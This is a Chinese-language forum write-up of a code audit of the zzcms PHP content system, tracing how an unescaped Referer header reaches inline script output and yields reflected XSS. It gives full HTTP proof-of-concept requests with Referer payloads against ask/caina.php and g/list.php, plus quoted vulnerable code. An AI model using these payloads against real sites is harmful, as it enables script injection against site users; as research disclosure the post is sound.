代码审计之cms从$_SERVER入手的xss 0day
真爱和自由 发表于 四川 漏洞分析 497浏览 · 2024-08-27 13:55

代码审计之cms从$_SERVER入手的xss 0day

前言

虽然这次审计的cms是比较小众的,主要是为了积累审计的经验,然后给大家分享一下一些代码审计的思路,仅供学习,然后只是给刚入门审计的师傅们学习

漏洞审计结果

传入参数流程审计

我们首先观察一下参数传入的流程

首先我们随便选择一个参数传入的点,然后审计一下基本的流程

比如

我怀疑这里存在xss漏洞

但是实际测试发现自己的输入已经改变了,如果让你直接找是怎么过滤的,很难找到,我们就根据require去查找,因为php的话一般都是这样的,过滤往往是在包含的文件里面

<?php
require("admin.php");
?>

跟进,然后一路追到global.php

可以看见这里就有过滤的逻辑了

一个是对$_REQUEST的过滤

还有stopsqlin函数,是通过if (checksqlin=="Yes")判断来的,然后我们找到config.php里面

define('checksqlin','Yes') ;//是否开启防SQL注入功能

看到stopsqlin函数

function stopsqlin($str){
remove_xss($str);
if(!is_array($str)) {//有数组数据会传过来比如代理留言中的省份$_POST['province'][$i]
   $str=strtolower($str);//否则过过滤不全
   $sql_injdata = "";
   $sql_injdata= $sql_injdata."|".stopwords;
   $sql_injdata=cutfgx($sql_injdata,"|");

    $sql_inj = explode("|",$sql_injdata);
   for ($i=0; $i< count($sql_inj);$i++){
      if (@strpos($str,$sql_inj[$i])!==false) {showmsg ("参数中含有非法字符 [".$sql_inj[$i]."] 系统不与处理");}
   }
}
}

跟进remove_xss

可以看到这个过滤我们可以不需要去思考怎么绕过了,根本绕不过去

但是就不可能xss或者sql注入了吗,当然不是,比如我这里能够控制输入的参数,但是并没有包含过滤的文件,那么就可能存在

g/dl_liuyan_save.php

这个是我看github上的,这个也是作为我的引路

我们看到代码部分,在g/dl_liuyan_save.php中

重要代码部分

$dlsname=$_POST["name"];
$saver=$_POST["fbr"];

checkstr($dlsname,'quanhanzi','联系人',$_SERVER['HTTP_REFERER']);
checkstr($tel,'tel','电话号码',$_SERVER['HTTP_REFERER']);

$rs=query("select groupid from zzcms_user where username='".$saver."' ");
$row=fetch_array($rs);
$savergroupid=$row['groupid'];

if ($cp<>'' && $dlsname<>'' && $tel<>''){

$rs=query("select * from zzcms_daili where truename='$dlsname' and tel='$tel' and saver='$saver' and cpid='$cpid'");
$row=num_rows($rs);
if ($row){
echo "<script>alert('您已留过言了!');history.back(-1)</script>";
}else{
$isok=query("insert into zzcms_daili (title,cpid,classid,province,city,content,company,companyname,truename,tel,email,editor,saver,savergroupid,sendtime)
values
('$cp','$cpid','$bigclassid','$province','$city','$contents','$company','$companyname','$dlsname','$tel','$email','".@safe_replace($_COOKIE["UserName"])."','$saver','$savergroupid','".date('Y-m-d H:i:s')."')");
$_SESSION["dlliuyan"]=$saver;//供留言后显示联系方式处用
$dlid=insert_id();

$rsn=query("select id,username,sex,email,mobile,somane from zzcms_user where username='".$saver."'");
$rown=fetch_array($rsn);
$id=$rown["id"];//供返回展厅首页用  

if (whendlsave=="Yes"){
    $fbr_email=$rown["email"];
    $dstmobile=$rown["mobile"];
    $somane=$rown["somane"];
    $sex=$rown["sex"];
    if ($sex==1){$sex="先生";}elseif($sex==0){$sex=="女士";}

    $tomail = $fbr_email; //收件人
    $subject = "有人在".sitename."上给您留言想要".channeldl.$cp;
    $body= "<table width='100%'><tr><td style='font-size:14px;line-height:25px'>".$somane.$sex. ":<br>&nbsp;&nbsp;&nbsp;&nbsp;您好!<br>有人在".sitename."上给您留言,想要".channeldl.$cp.";以下是部分信息:<hr>";
    $body=$body . "留&nbsp;言&nbsp;人:".$dlsname."<br>".channeldl."产品:".$cp."<br>代理区域:".$city."<br>留言时间:".date('Y-m-d H:i:s')."<br><a href='".siteurl."/user/login.php' target='_blank'><b>登录网站查看详情</b></a>";
    $body=$body . "</td></tr></table>";

    $fp="../template/".siteskin."/email.htm";
    $f= fopen($fp,'r');
    $strout = fread($f,filesize($fp));
    fclose($f);
    $strout=str_replace("{#body}",$body,$strout) ;
    $strout=str_replace("{#siteurl}",siteurl,$strout) ;
    $strout=str_replace("{#logourl}",logourl,$strout) ;
    $mailbody=$strout;

    $mail = new PHPMailer(true);                              // Passing `true` enables exceptions
    //try {
    //服务器配置
    $mail->CharSet ="UTF-8";                     //设定邮件编码
    $mail->SMTPDebug = 0;                        // 调试模式输出
    $mail->isSMTP();                             // 使用SMTP
    $mail->Host = smtpserver;                // SMTP服务器
    $mail->SMTPAuth = true;                      // 允许 SMTP 认证
    $mail->Username = sender;                // SMTP 用户名  即邮箱的用户名
    $mail->Password = smtppwd;             // SMTP 密码  部分邮箱是授权码(例如163邮箱)
    $mail->SMTPSecure = 'ssl';                    // 允许 TLS 或者ssl协议
    $mail->Port = 465;                            // 服务器端口 25 或者465 具体要看邮箱服务器支持

    $mail->setFrom(sender, 'Mailer');  //发件人
    //$mail->addAddress('ellen@example.com');  // 可添加多个收件人
    $mail->addReplyTo(sender, 'info'); //回复的时候回复给哪个邮箱 建议和发件人一致
    //$mail->addCC('cc@example.com');                    //抄送
    //$mail->addBCC('bcc@example.com');                    //密送
    //发送附件
    // $mail->addAttachment('../xy.zip');         // 添加附件
    // $mail->addAttachment('../thumb-1.jpg', 'new.jpg');    // 发送附件并且重命名
    //Content
    $mail->isHTML(true);                                  // 是否以HTML文档格式发送  发送后客户端可直接显示对应HTML内容
    $mail->Subject = $subject ;
    $mail->Body    = $mailbody ;
    $mail->AltBody = '如果邮件客户端不支持HTML则显示此内容';

    $mail->addAddress($tomail, 'Joe');  // 收件人
    $ok=$mail->send();
    if($ok){
    echo "邮件发送到".$tomail."成功";
    }else{
    echo "邮件发送到".$tomail."失败: ", $mail->ErrorInfo;
    }   


    //发手机短信网站编码为GB2312不能在此页中发
    if (sendsms=="Yes"){
    $msg='有人在'.sitename.'留言要'.channeldl.'您发布的产品请登录网站查看详情网址:'.siteurl;
    $msg = iconv("UTF-8","GBK",$msg);
    $result = sendSMS(smsusername,smsuserpass,$dstmobile,$msg,apikey_mobile_msg);
    //echo $result."<br>";
    }
}
if ($isok){
showmsg('成功提交',$_SERVER['HTTP_REFERER']);
}else{
showmsg('失败提交',$_SERVER['HTTP_REFERER']);
}

在最后有一个

if ($isok){
showmsg('成功提交',$_SERVER['HTTP_REFERER']);
}else{
showmsg('失败提交',$_SERVER['HTTP_REFERER']);
}

而我们的全局过滤是在

可以发现对我们的$_SERVER只有转为小写

而$_SERVER['HTTP_REFERER']其实就是我们的referer头的值

跟进showmsg方法

把我们的输入拼接进去了,我们就可以通过一些特殊的方法触发xss了

其实我们这里可以发现我们可以控制$_SERVER的许多参数

因为我的数据库连接有问题,没有复现成功

交给各位复现了,但是原理还是很清楚的

ask/caina.php 前台反射型xss

访问/ask/caina.php

发送POC

POST /ask/caina.php HTTP/1.1
Host: zzcms:8786
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=4pj41bdnhl1msnbrl2lljv1iqm; __51cke__=; xywpwx_bakusername=admin; xywpwx_snsjjssbdvqm=aca496e77ae7ceff46c2f8e72f4235d5; qebak_efourcheck=be67da7f3e3c39cd439799a20c67f8b4; XDEBUG_SESSION=PHPSTORM; xywpwx_bakrnd=zPwzzERUvdP4; xywpwx_loginebakckpass=03269d863bac377ff8cfb81722e356e3; xywpwx_baklogintime=1724589372; __tins__713776=%7B%22sid%22%3A%201724603456590%2C%20%22vd%22%3A%206%2C%20%22expires%22%3A%201724605579607%7D; __51laig__=34
Connection: keep-alive
Referer: ";alert(123);</script><script>"
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

代码部分

<?php
require("../inc/conn.php");
$answerid=$_POST['answerid'];
$askid=$_POST['askid'];
checkid($answerid);
checkid($askid);

$rs = query("select jifen from zzcms_ask where id='".$askid."'"); 
$row = fetch_array($rs);
$jifen=$row['jifen'];

$rs = query("select editor from zzcms_answer where id='".$answerid."'"); 
$row = fetch_array($rs);
$answer_editor=$row['editor'];

query("update zzcms_user set totleRMB=totleRMB+".$jifen." where username='$answer_editor'");//发问题时就给发布者扣积分
query("insert into zzcms_pay (username,dowhat,RMB,mark,sendtime) values('$answer_editor','回答赚积分','+".$jifen."','','".date('Y-m-d H:i:s')."')");//记录积分
query("update zzcms_answer set caina=1 where id='$answerid'");
query("update zzcms_ask set typeid=1 where id='$askid'");

showmsg('采纳成功',$_SERVER['HTTP_REFERER']);
?>

看到关键的代码

showmsg('采纳成功',$_SERVER['HTTP_REFERER']);

其中我们的$_SERVER['HTTP_REFERER']可以通过Referer头控制

showmsg函数

function showmsg($msg,$zc_url = 'back',$exit=''){
   $str="<!DOCTYPE html>";//有些文件不能设文件头
   $str.="<meta http-equiv='Content-Type' content='text/html; charset=utf-8'>";
   if($zc_url && $zc_url!='back' && $zc_url!='null'){
   $str.="<script>alert('$msg');parent.location=\"$zc_url\";</script>";
   }elseif( $zc_url=='null'){
   $str.="<script>alert(\"$msg\")</script>";
   }else{
   $str.="<script>alert(\"$msg\");history.back();</script>";
   }
   echo $str;
   //if ($exit=='exit'){
   exit;//必须强制退出
   //}
}

直接输出了$str到html页面上造成了反射型xss注入

g/list.php存在前台反射型xss

首先访问页面

然后使用burpsuit截取流量

POC

POST /g/list.php HTTP/1.1
Host: zzcms:8786
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=4pj41bdnhl1msnbrl2lljv1iqm; __51cke__=; xywpwx_bakusername=admin; xywpwx_snsjjssbdvqm=aca496e77ae7ceff46c2f8e72f4235d5; qebak_efourcheck=be67da7f3e3c39cd439799a20c67f8b4; XDEBUG_SESSION=PHPSTORM; xywpwx_bakrnd=zPwzzERUvdP4; xywpwx_loginebakckpass=03269d863bac377ff8cfb81722e356e3; xywpwx_baklogintime=1724589372; __tins__713776=%7B%22sid%22%3A%201724603456590%2C%20%22vd%22%3A%206%2C%20%22expires%22%3A%201724605579607%7D; __51laig__=34
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 19
Referer: ';alert(1);'

action=clearcookies

代码分析

定位到g/list.php

if (isset($action)&&$action=='clearcookies'){
setcookie("zzcmscpid","xxx",1);
echo "<script>location.href='".$_SERVER['HTTP_REFERER']."'</script>";//上一页$_SERVER["REQUEST_URI"]当前页
}

可以发现先对我们的action有一个判断,然后如果等于clearcookies,之后会echo 拼接我们的$_SERVER['HTTP_REFERER']导致了xss注入

总结

通过上面的三个案例,其实还有很多一样的,可以试着去挖掘,放在代码审计还是需要的是耐心和敏感型

0 条评论
某人
表情
可输入 255